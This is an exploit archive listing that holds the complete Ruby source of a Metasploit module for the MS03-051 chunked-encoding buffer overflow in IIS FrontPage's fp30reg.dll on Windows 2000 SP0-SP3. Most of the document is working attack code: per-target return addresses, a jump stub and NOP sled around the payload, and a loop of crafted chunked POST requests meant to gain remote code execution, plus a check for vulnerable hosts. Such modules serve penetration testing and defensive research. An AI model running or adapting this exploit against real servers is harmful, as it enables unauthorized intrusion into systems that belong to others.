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Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow

Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow
Posted Jul 26, 2010
Authored by H D Moore | Site metasploit.com

This is an exploit for the chunked encoding buffer overflow described in MS03-051 and originally reported by Brett Moore. This particular modules works against versions of Windows 2000 between SP0 and SP3. Service Pack 4 fixes the issue.

tags | exploit, overflow
systems | windows
advisories | CVE-2003-0822
SHA-256 | db54b7c9894b5bd5fa70fd5fb0cfa3771711f595d035ff5f695b79fe36ab615c

Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow

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##
# $Id: ms03_051_fp30reg_chunked.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
'Description' => %q{
This is an exploit for the chunked encoding buffer overflow
described in MS03-051 and originally reported by Brett
Moore. This particular modules works against versions of
Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
issue.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9929 $',
'References' =>
[
[ 'CVE', '2003-0822'],
[ 'OSVDB', '2952'],
[ 'BID', '9007'],
[ 'MSB', 'MS03-051'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
'StackAdjustment' => -3500,

},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 SP0-SP3', { 'Ret' => 0x6c38a4d0 }], # from mfc42.dll
['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1 }], # from fp30reg.dll 07/22/2002
['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d }], # from fp30reg.dll 10/06/1999
],
'DisclosureDate' => 'Nov 11 2003',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URL', [ true, "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
], self.class)
end

def exploit

print_status("Creating overflow request for fp30reg.dll...")

pat = rand_text_alphanumeric(0xdead)
pat[128, 4] = [target.ret].pack('V')
pat[264, 4] = [target.ret].pack('V')

# sub eax,0xfffffeff; jmp eax
pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"

pat[280, 512] = make_nops(512)
pat[792, payload.encoded.length] = payload.encoded

0.upto(15) do |i|

if (i % 3 == 0)
print_status("Refreshing the remote dllhost.exe process...")

res = send_request_raw({
'uri' => datastore['URL']
}, -1)

if (res and res.body =~ /specified module could not be found/)
print_status("The server states that #{datastore['URL']} does not exist.\n")
return
end
end

print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")

res = send_request_raw({
'uri' => datastore['URL'],
'method' => 'POST',
'headers' =>
{
'Transfer-Encoding' => 'Chunked'
},
'data' => "DEAD\r\n#{pat}\r\n0\r\n"
}, 5)

if (res and res.body =~ /specified module could not be found/)
print_status("The server states that #{datastore['URL']} does not exist.\n")
return
end

handler

select(nil,nil,nil,1)
end
end

def check
print_status("Requesting the vulnerable ISAPI path...")
r = send_request_raw({
'uri' => datastore['URL']
}, -1)

if (r and r.code == 501)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end

end
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